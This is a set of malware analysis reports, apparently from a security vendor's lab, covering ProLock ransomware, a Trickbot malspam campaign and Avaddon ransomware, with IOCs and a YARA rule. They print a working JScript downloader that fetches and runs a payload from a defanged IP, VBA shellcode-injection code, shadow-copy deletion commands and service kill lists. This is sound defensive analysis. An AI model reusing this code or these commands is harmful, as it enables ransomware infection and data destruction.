However, English-speaking countries seem to be the main origin of C2 IPs. This distribution indicates QakBot was mainly focused on English-speaking countries. However, as the campaign targeting Germany has shown, this focus may now be shifting towards establishing QakBot as a more global operation akin to Emotet.

In case the origin of the C2 IPs would adapt to the targeted country, we would expect a much bigger shift towards German IPs. It is therefore unknown whether the shift observed in campaigns targeting Germany is only coincidental and the QakBot operators simply do not have a significant amount of C2 IPs from Europe.

The C2 IP list changes very frequently.


As previously outlined, various governmental organisations warn about QakBot distributing the new variant of PwndLocker called ProLock. Hence, we will quickly outline the main findings with regard to the new ProLock ransomware.

From publicly available sources, it is known that the current ProLock variant is delivered hidden in an image file named WinMgr.bmp. This image is completely black except for some white pixels. These white pixels in the top right are where the binary code of ProLock is stored:

ProLock in WinMgr.bmp

From there, ProLock is loaded into memory and executed via PowerShell.

PowerShell loader

The code of the PowerShell loader reads as follows:

ProLock PowerShell loader

(Image Source: [3])

Depending on the pointer size ([IntPtr]::size), i.e., the operating system’s bit depth, the PowerShell will write the data at 0xA230 (32-bit) or 0xD7A0 (64-bit) into memory and execute it.

We will follow the 32-bit variant.


First, an decoding stub unpacks the payload:

ProLock decoding stub to unpack payload.

The unpacking uses a simple XOR cipher starting at offset 0xa27f (into WinMgr.bmp) with key 0x09b1a2dc.

The shellcode of the unpacked payload uses PEB traversal starting from FS:[0x30] to obtain the list of loaded modules. It hashes the DLL names and compares them against a hash of KERNEL32.DLL. This way, the address of kernel32.dll is obtained. After that, LoadLibraryA, GetProcAddress and VirtualAlloc are resolved by traversing the kernel32.dll export directory, hashing the function names in it and comparing them against a list of hashes of the corresponding functions:

ProLock dynamic library and function resolution.

Throughout the code, call label; db 'string'; label: ... code sequences are used to load string addresses into memory:

ProLock loading strings on 32-bit.

Note: In the 64-bit version, RIP-relative addressing (which is not available in the 32-bit version) is used.

With the loaded strings, additional libraries and functions are resolved and stored in memory for later use.


ProLock then proceeds to delete the following files via DeleteFileA:

  • C:\\Programdata\\WinMgr.xml
  • C:\\Programdata\\WinMgr.bmp
  • C:\\Programdata\\clean.bat
  • C:\\Programdata\\run.bat

ProLock deleting files

It disconnects all connections shared resources, except hidden shares:

ProLock deleting shares except hidden shares.

It enumerates the running processes using CreateToolhelp32Snapshot and Process32{First,Next} functions:

ProLock enumerating processes.

The first 6 characters of each process name are compared against a list:

ProLock process kill list.

In case a process matches,

ProLock killing processes on kill list.

taskkill.exe /F /IM is invoked on it via ShellExecuteA:

ProLock killing processes on kill list.

The searched and killed processes start with: agntsv, cntaos, dbeng5, dbsnmp, encsvc, excel., firefo, infopa, isqlpl, mbamtr, msacce, msftes, mspub., mydesk, mysqld, ntrtsc, ocauto, ocomm., ocssd., onenot, oracle, outloo, pccntm, powerp, sqbcor, sqlage, sqlbro, sqlser, sqlwri, steam., syncti, tbirdc, thebat, thunde, tmlist, visio., winwor, wordpa, xfssv, czoolz.

Next, net.exe stop "<service>" /y is used to stop a large list of services:

ProLock service kill list.

The services on ProLock’s service kill list belong to security products, but also to database and backup systems which would retain a lock on opened files thus preventing the ransomware from encrypting them.

The searched services are CSFalconService, McAfeeFramework, Alerter, AcronisAgent, Acronis VSS Provider, BackupExecAgentAccelerator, BackupExecDeviceMediaService, BackupExecJobEngine, BackupExecManagementService, BackupExecRPCService, BackupExecVSSProvider, DFSR, EPIntegrationService, EPProtectedService, EPSecurityService, EPUpdateService, MB3Service, MBAMService, MBEndpointAgent, MSExchangeES, MSExchangeMGMT, MSExchangeMTA, MSExchangeSA, MSExchangeSRS, MSExchangeADTopology, MSExchangeDelivery, MSExchangeDiagnostics, MSExchangeEdgeSync, MSExchangeHM, MSExchangeHMRecovery, MSExchangeIS, MSExchangeMailboxReplication, MSExchangeRPC, MSExchangeRepl, MSExchangeServiceHost, MSExchangeTransport, MSExchangeUM, MSExchangeUMCR, MSOLAP$*, MSSQLSERVER, MsDtsServer, MySQL57, OSearch15, OracleClientCache80, QuickBooksDB25, SPAdminV4, SPSearchHostController, SPTraceV4, SPUserCodeV4, SPWriterV4, SQLBrowser, SQLSafeOLRService, SQLsafe Backup Service, SQLSERVERAGENT, SQLTELEMETRY, SQLBackups, SQLAgent$*, MSSQL$*, MSMQ, ReportServer, ReportServer$*, SQLWriter, SQLBackupAgent, Symantec System Recovery, SyncoveryVSSService, VeeamBackupSvc, VeeamCatalogSvc, VeeamCloudSvc, VeeamEndpointBackupSvc, VeeamEnterpriseManagerSvc, VeeamMountSvc, VeeamNFSSvc, VeeamRESTSvc, VeeamTransportSvc, Veeam Backup Catalog Data Service, epag, epredline, mozyprobackup, masvc, macmnsvc, mfemms, McAfeeDLPAgentService, psqlWGE, swprv, wsbexchange, WinVNC4, TMBMServer, tmccsf, tmlisten, VSNAPVSS, stc_endpt_svc, wbengine, bbagent, NasPmService, BASupportExpressStandaloneService_N_Central, BASupportExpressSrvcUpdater_N_Central, hasplms, EqlVss, EqlReqService, RapidRecoveryAgent, YTBackup, vhdsvc, TeamViewer, MSOLAP$SQL_2008, MSOLAP$SYSTEM_BGC, MSOLAP$TPS, MSOLAP$TPSAMA, MSSQL$BKUPEXEC, MSSQL$ECWDB2, MSSQL$PRACTICEMGT, MSSQL$PRACTTICEBGC, MSSQL$PROD, MSSQL$PROFXENGAGEMENT, MSSQL$SBSMONITORING, MSSQL$SHAREPOINT, MSSQL$SOPHOS, MSSQL$SQL_2008, MSSQL$SQLEXPRESS, MSSQL$SYSTEM_BGC, MSSQL$TPS, MSSQL$TPSAMA, MSSQL$VEEAMSQL2008R2, MSSQL$VEEAMSQL2012, MSSQLFDLauncher, MSSQLFDLauncher$PROFXENGAGEMENT, MSSQLFDLauncher$SBSMONITORING, MSSQLFDLauncher$SHAREPOINT, MSSQLFDLauncher$SQL_2008, MSSQLFDLauncher$SYSTEM_BGC, MSSQLFDLauncher$TPS, MSSQLFDLauncher$TPSAMA, MSSQLSERVER, MSSQLServerADHelper, MSSQLServerADHelper100, MSSQLServerOLAPService, SQLAgent$BKUPEXEC, SQLAgent$CITRIX_METAFRAME, SQLAgent$CXDB, SQLAgent$ECWDB2, SQLAgent$PRACTTICEBGC, SQLAgent$PRACTTICEMGT, SQLAgent$PROD, SQLAgent$PROFXENGAGEMENT, SQLAgent$SBSMONITORING, SQLAgent$SHAREPOINT, SQLAgent$SOPHOS, SQLAgent$SQL_2008, SQLAgent$SQLEXPRESS, SQLAgent$SYSTEM_BGC, SQLAgent$TPS, SQLAgent$TPSAMA, SQLAgent$VEEAMSQL2008R2, SQLAgent$VEEAMSQL2012, ReportServer$SQL_2008, ReportServer$SYSTEM_BGC, ReportServer$TPS, and ReportServer$TPSAMA.

Finally, ProLock uses the following commands to delete the volume shadow copies:

ProLock vssadmin.exe commands.

ProLock vssadmin.exe commands.

The commands are passed to vssadmin.exe, which is again invoked via ShellExecuteA:

ProLock vssadmin.exe invocation.

ProLock vssadmin.exe invocation.

ProLock enumerates all drive letters for the shadow copy deletion, excluding only CD-ROM drives (DRIVE_CDROM):

ProLock excluding CD-ROM drives from shadow copy deletion.


ProLock does not seem to encrypt the first 8 KiB of files. Files smaller than 8 KiB are, hence, not encrypted at all do not receive a .proLock extension, either.

Files and directories are processed according to several file lists:

ProLock file and directory lists.

ProLock will avoid files with an extension of .exe, .dll, .lnk, .ico, .msi, .chm, .sys, .hlf, .lng, .ttf, and .cmd.

Files with extensions .bac or .bak are deleted.

Further, ProLock does not traverse directories named $Recycle.Bin, Windows, Boot, System Volume Information, PerfLogs, Common Files, DVD Maker, Internet Explorer, Kaspersky Lab, Kaspersky Lab Setup Files, WindowsPowerShell, Microsoft, Microsoft.NET, Mozilla Firefox, MSBuild, Windows Defender, Windows Mail, Windows Media Player, Windows NT, Windows Photo Viewer, Windows Portable Devices, Windows Sidebar, WindowsApps, and Uninstall Information. Additionally, the following directories in the profile directory are not traversed: Adobe, Microsoft, Microsoft_Corporation, Packages, and Temp.

ProLock uses multiple threads. There is a threaded function that traverses the directory structures. Encryption and file renaming is handled by other threaded functions:

ProLock running multiple threads for file encryption.

For the encryption, ProLock uses the processor’s RDTSC opcode to obtain random numbers, which it uses to generate the subsequent encryption key:

ProLock's function to obtain random numbers.

The files themselves seem to be encrypted with RC6. The RC6 key schedule function can be identified by the RC6 constants 0xb7e15163, and 0x9e3779b9, as well as the typical 44 count loop initializing the key structure found in the malware code:

ProLock's RC6_set_key function.

After encryption, a .proLock extension is appended to each encrypted file:

ProLock appending .proLock extension.

During directory traversal and before encryption, ProLock leaves a file named [HOW TO RECOVER FILES].TXT with its ransom note in each directory:

Your files have been encrypted by ProLock Ransomware using RSA-2048 algorithm.

   [.:Nothing personal just business:.]

No one can help you to restore files without our special decryption tool.

To get your files back you have to pay the decryption fee in BTC.
The final price depends on how fast you write to us.

   1. Download TOR browser:
   2. Install the TOR Browser.
   3. Open the TOR Browser.
   4. Open our website in the TOR browser: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.onion
   5. Login using your ID XXXXXXXXXXXXXXXXXXXX

   ***If you have any problems connecting or using TOR network:
   contact our support by email

   [You'll receive instructions and price inside]

The decryption keys will be stored for 1 month.

We also have gathered your sensitive data.
We would share it in case you refuse to pay.

Decryption using third party software is impossible.
Attempts to self-decrypting files will result in the loss of your data.

Obviously, the promise that this is “[n]othing personal just business” is no comfort to the victims.

We did not observe a network connection from the analyzed ProLock sample. However, we have not analyzed the complete chain leading up to the deployment of this ProLock sample. It is possible for the perpetrators to deploy data-stealing malware before deploying the ProLock ransomware. Hence, the threat to “share” “gathered […] sensitive data” could be real.

Conclusion and Remediation

A ransom should not be paid. In the past, ProLock, under the name PwndLocker at that time, had problems with their decryptor, preventing victims from decrypting their files. The FBI has stated similar concerns with the latest version. And as this analysis showed, files ending in .bac or .bak are not encrypted but deleted, meaning that there will likely be significant data loss even if a victim pays.

You should have backups that are inaccessible to ransomware.

Hornetsecurity’s Spam and Malware Protection blocks known patterns and URLs of QakBot emails.

Hornetsecurity’s Advanced Threat Protection, with URL Rewriting, replaces URLs in emails with secure URLs. On click, the user is forwarded to the secured website via the Hornetsecurity ATP proxy, which scans downloadable content and blocks access to malware. This protects against the malicious link in the initial email, thus preventing the download of the QakBot VBScript file in the first place.


Indicators of Compromise (IOCs)


SHA256 Filename Description
20cd1626d319f10323f5abda86fc11d0ed3783bd65f9c3a6501841e783edf61d Darlehensvertrag_8378051_19052020.vbs VBScript QakBot Downloader
0cd872e07f9e1929b9b3baf7f86af70ccb28763bd4f1a16ebad659ea262106a5 888888.png QakBot loader sample
a6ded68af5a6e5cc8c1adee029347ec72da3b10a439d98f79f4b15801abd7af0 Winmgr.bmp BMP containing ProLock shellcode as payload



rule prolock_decoder_stub
        description = "Detects ProLock decoder stubs"
        author = "Hornetsecurity Security Lab"
        date = "2020-06-03"
        hash1 = "a6ded68af5a6e5cc8c1adee029347ec72da3b10a439d98f79f4b15801abd7af0"
        $decoder_stub_32 = {
            55 89 e5 8b 4? ?? eb ?? 89 4? ?? 8d 15 ?? ?? ?? ?? 8d 05
            ?? ?? ?? ?? 83 e8 ?? 29 c2 8b 4? ?? 01 c2 31 db b8 ?? ??
            ?? ?? 31 04 1a 81 3c 1a ?? ?? ?? ?? 74 ?? 83 fb ?? 75 ??
            31 04 1a 40 eb ?? eb ?? 83 c3 ?? 81 3c 1a ?? ?? ?? ?? 74
            ?? eb ??  }
        $decoder_stub_64 = {
            55 48 89 e5 48 89 4? ?? 48 8b 4? ?? eb ?? 49 89 c3 48 8d
            15 ?? ?? ?? ?? 48 8d 05 ?? ?? ?? ?? 48 83 e8 ?? 48 29 c2
            4c 89 d8 48 01 c2 48 31 db 48 c7 c0 ?? ?? ?? ?? 31 04 1a
            81 3c 1a ?? ?? ?? ?? 74 ?? 48 83 fb ?? 75 ?? 31 04 1a 48
            ff c0 eb ?? eb ?? 48 83 c3 ?? 81 3c 1a ?? ?? ?? ?? 74 ??
            eb ??  }
        any of ($decoder_stub_*)
Trickbot Malspam Leveraging Black Lives Matter as Lure

Trickbot Malspam Leveraging Black Lives Matter as Lure


The Hornetsecurity Security Lab has observed a Malspam campaign distribution Trickbot [1] that uses the Black Lives Matter movement as a lure to entice victims to open a malicious attachment. The Trickbot downloader document first injects shellcode into the WINWORD.EXE process. Then from that shellcode spawns a cmd.exe process into which it again injects more of the same shellcode. This cmd.exe process then downloads the Trickbot DLL and executes it via rundll32.exe.


The initial emails claim to be from the State office, Country authority, or Country administration:

Trickbot initial email.

The email tells the recipient they can Vote confidentially about "Black Lives Matter" or Tell your government your opinion, Give your opinion, and Speak out confidentially about "Black Lives Matter".

Attached is a file named e-vote_form_0000.doc, further suggesting the email to be some sort of official vote.

However, the document only displays an image announcing a fake Office update and instructions to “Enable Editing” as well as to “Enable Content”:

Trickbot document.

If the instructions are followed the malicious VBA macro in the document is executed and downloads the Trickbot malware.

Technical Analysis

The initial portion of the infection chain until the Trickbot malware is deployed is depicted in this flow chart:

Trickbot inital infection chain.

In the following analysis we will walk through each stage of this chain.

VBA macro

The VBA macro is protected against viewing in Word:

Trickbot protected macro.

However, this “protection” only prevents Word from showing the VBA macro without a password. The VBA macro code is still accessible.

The first thing the VBA macro does is display a fake error message:

Private Sub Document_Open()
    MsgBox "Error #80013123"

This results in the following pop up:

Trickbot fake error message

This is likely an attempt to probe for user interaction to bypass sandbox detections. It could also be an attempt to cover up that there is no document. A victim may be satisfied by receiving this error and assuming the document is broken.

The macro will use VirtualProtectEx and CreateThread to inject shellcode into the WINWORD.EXE process. To this end, the code assembles one large string:

    uriSubscriber = "i-j-[...]-a-a-a-"
    uriSubscriber = uriSubscriber & "i-l-[...]-a-a-"
    uriSubscriber = uriSubscriber & "g-k-a-a-p-p-h-f-p-i-[...]-o-g-c-c-p-k-h-c-g-j-h-d"

This string contains the encoded shellcode. It is then decoded via the following function:

    Dim f() As Byte
    ReDim f(0 To Len(uriSubscriber) / 2 - 1) As Byte
    Dim sSmart As Long, regOptimize As Long
    For Each destEnd In Split(uriSubscriber, "-")
        If sSmart Mod 2 Then
            regOptimize = sSmart - 1
            regOptimize = regOptimize / 2
            f(regOptimize) = (CByte(Asc(destEnd)) - CByte(Asc("a"))) + f((sSmart - 1) / 2)
            regOptimize = sSmart / 2
            f(regOptimize) = (CByte(Asc(destEnd)) - CByte(Asc("a"))) * 16
        End If
        sSmart = sSmart + 1

Last but not least, the decoded shellcode is set to PAGE_EXECUTE_READWRITE using VirtualProtectEx which was previously aliased to extensionsComment and then a thread is started using the address of the shellcode as the thread’s start address using CreateThread which has been alias to sMail:

    Private Declare Function extensionsComment Lib "kernel32" Alias "VirtualProtectEx" ( _
        iMail As Long, _
        bConsole As Long, _
        regFunction As Long, _
        tablePosition As Long, _
        colMail As Long) As Long
    Private Declare Function sMail Lib "kernel32" Alias "CreateThread" ( _
        textTimer As Long, _
        uriMail As Long, _
        m As Long, _
        dateMembers As Long, _
        textTimer0 As Long, _
        lServer As Long) As Long
    sConsole = destN_ - angleTexture + UBound(f)
    q = extensionsComment(ByVal ipFunction, ByVal angleTexture, ByVal sConsole, ByVal PAGE_EXECUTE_READWRITE, ByVal VarPtr(extensionsComment0))
    adsLogon = sMail(ByVal 0&, ByVal 0&, ByVal destN_, ByVal 2&, ByVal 0, ByVal 0&)
    adsScr 5000

The shellcode can most easily be extracted by breaking on CreateThread in a debugger:

Tickbot shellcode extraction via x64dbg.


The shellcode running in the WINWORD.EXE process first resolves several library functions. Then uses CreateProcessA to run a cmd.exe with the pause command, causing the cmd.exe to idle:

Trickbot shellcode spawning cmd.exe with pause command

Next, the shellcode uses a classic OpenProcess, VirtualAllocEx, WriteProcessMemory, and CreateRemoteThread sequence to do shellcode injection into the paused cmd.exe process:

Trickbot shellcode injection into cmd.exe process.

The cmd.exe /c pause process is likely used to evade detections of creating a processes with the CREATE_SUSPENDED flag. A technique that is usually used to start a processes in the suspended, i.e., paused, state, to then inject code into it, and then resume it.

The injected shellcode is the same shellcode that was injected into the WINWORD.EXE process, however, the entry point passed to CreateRemoteThread is different resulting into a different execution flow for the shellcode execution within the cmd.exe process.

Shellcode cmd.exe

The shellcode in the cmd.exe process will also resolve several library functions. Additionally, it will decode the Trickbot download URLs.

Next, the shellcode will query GetSystemMetrics(SM_CXSCREEN) and GetSystemMetrics(SM_CYSCREEN) to get the display resolution. Then GetCursorPos is queried twice, with a call to Sleep(0x1388) in between causing a 5 second delay.

Trickbot profiling the system.

This is likely done to verify mouse movement and avoid sandboxes.

The data is then encoded as a HTTP query string as follows: &scr=1280x1024&cur1=604x250&cur2=622x310

The download URLs are appending with an ID query string &id=00000000 and the above system metrics query string forming the final download URL which is then queried via InternetOpenUrlA:

Trickbot using InternetOpenUrlA to download.

In case the download is successful the downloaded file is written to C:\\Users\\<username>\\AppData\\Local\\system.rre and executed via rundll32.exe %userprofile%/system.rre,Initialize using ShellExecuteA. The system.rre file is the Trickbot DLL.

In case the download is not successful the downloader sleeps and then a second download URL is tried.

Conclusion and Remediation

The double shellcode injection is likely used to evade behavioral detection as WINWORD.EXE usually does not download files from the Internet nor execute rundll32.exe. Hence, such anomalous behavior is more likely detected than cmd.exe spawning the rundll32.exe process. The query for the systems display resolution as well as double query of the cursor position is also likely done to avoid delivering the Trickbot DLL to sandbox systems.

Hornetsecurity’s Spam and Malware Protection with the highest detection rates on the market already detected and blocked the malicious Trickbot document based on a detection signature.

In case the basic detection signatures would have not blocked the emails Hornetsecurity’s Advanced Threat Protection (ATP) would not have been impacted by the various anti-sandbox mechanisms either. The human interaction simulation of the ATP sandbox successfully clicks the fake error message away for a complete execution of the malicious document:

Hornetsecurity Advanced Threat Protection sandbox clicking button

It detects the processes being created by the document, as well as the process injections:

Hornetsecurity Advanced Threat Protection sandbox detecting process injection

The human interaction simulation also results in the two queried cursor positions, send as cur1 and cur2 to the Trickbot download server, to differ:

Hornetsecurity Advanced Threat Protection sandbox Internet connection

This way Hornetsecurity’s ATP sandbox is not fooled by the various anti-sandbox techniques.


Indicators of Compromise (IOCs)


SHA256 Filename Description
d6a44f6460fab8c74628a3dc160b9b0f1c8b91b7d238b6b4c1f83b3b43a0463d e-vote_form_1967.doc Trickbot downloader document


  • hxxps[:]//ppid.indramayukab.go[.]id/may.php?omz=1&pic=b&id=[0-9]{8}&scr=[0-9]{3,4}x[0-9]{3,4}&cur1=[0-9]{3,4}x[0-9]{3,4}&cur2=[0-9]{3,4}x[0-9]{3,4}
  • hxxps[:]//www.inspeclabeling[.]com/wp-content/themes/processing/may.php?omz=1&pic=b&id=[0-9]{8}&scr=[0-9]{3,4}x[0-9]{3,4}&cur1=[0-9]{3,4}x[0-9]{3,4}&cur2=[0-9]{3,4}x[0-9]{3,4}


Avaddon: From seeking affiliates to in-the-wild in 2 days

Avaddon: From seeking affiliates to in-the-wild in 2 days


On 2020-06-03 it was reported [1] that a new ransomware calling itself Avaddon was seeking partners for their affiliate program, i.e., someone installing the ransomware on victim systems. Just two days later on 2020-06-05 malspam distributing the Avaddon ransomware has been observed.

This article briefly outlines the first wave of malspam distributing Avaddon ransomware as observed by Hornetsecurity’s Security Lab.


The initial email of the Avaddon ransomware uses a pretend image lure:

Initial email

The attached ZIP archive contains a JSript file that upon execution will download and execute the Avaddon ransomware binary:

Content of ZIP

Technical Analysis

In the following we will analyze the malicous email, the JScript downloader, and last but not least the downloaded Avaddon ransomware binary.


Emails are send from <name>[0-9]{2}@[0-9]{4}.com sender email addresses. Most of the four number dot com domains ([0-9]{4}.com) are parked domains without any SPF records, hence, blocking on policy grounds is not possible.

The malspam distributing Avaddon ransomware started on 2020-06-04 at around 14:00:00 UTC and are still lasting while writing this report:

Avaddon ransomware malspam wave timeline

The observed wave seems to target CA (Canada):

Avaddon ransomware wave recipient countries

The recipient industries seem to indicate a focus on education institutions at the receiving end of this wave:

Avaddon ransomware wave recipient industries

However, because this is only data from the first wave this should not be interpreted as the final targeting of the Avaddon ransomware.

JScript Downloader

The attachment contains the IMG000000.jpg.js JScript downloader:

Avaddon IMG000000.jpg.js JScript downloader

The Avaddon downloader script is simply:

var jsRun=new ActiveXObject('WSCRIPT.Shell');
jsRun.Run("cmd.exe /c PowerShell -ExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile('hxxp[:]//217.8.117[.]63/sava[.]exe','%temp%\\5203508738.exe');Start-Process '%temp%\\5203508738.exe'",false);
jsRun.Run("cmd.exe /c bitsadmin /transfer getitman /download /priority high hxxp[:]//217.8.117[.]63/sava[.]exe %temp%\\237502353.exe&start %temp%\\237502353.exe", false);

It uses both PowerShell and the BITSAdmin tool to download the sava.exe Avaddon ransomware file to %temp%\\5203508738.exe and %temp%\\237502353.exe respectively and execute it:

Avaddon ransomware downloader process tree

Avaddon Ransomware sava.exe

The Avaddon ransomware executable is not packed. However, its strings appear Base64 encoded using a custom alphabet. Imports are freely accessible. The Avaddon ransomware uses the Windows crypto API to generate an AES key, with which it then (presumably) encrypts the data. The generated AES key is then exported and encrypted via a previously from the ransomware binary imported key:

Avaddon ransomware generating AES key

Further the Avaddon ransomware deletes the volume shadow copies via wmic.exe SHADOWCOPY /nointeractive and vssadmin.exe Delete Shadows /All /Quiet.

After encryption the Avaddon ransomware changes the desktop background notifying the victim that files have been encrypted and where the instructions to pay the ransom are located:

Avaddon ransomware desktop background

The Avaddon ransomware leaves a file named [0-9]+-readme.html in every directory it encrypts. This file contains the instructions and an .onion link to the ransomware panel:

Avaddon ransomware ransom note

Victims are expected to copy their ransom ID to the linked .onion Tor hidden service website then received further instructions on how to pay the ransom and receive a decrypter.

Conclusion and Remediation

As can be seen from this example malware underground collaboration can speed up the proliferation and distribution of new ransomware.

Hornetsecurity’s Spam and Malware Protection with the highest detection rates on the market already detects and blocks the outlined threat. Hornetsecurity’s Advanced Threat Protection extends this protection by also detecting yet unknown threats.


Indicators of Compromise (IOCs)


SHA256 Filename Description
05af0cf40590aef24b28fa04c6b4998b7ab3b7f26e60c507adb84f3d837778f2 sava.exe Avaddon ransomware


  • hxxp[:]//217.8.117[.]63/sava[.]exe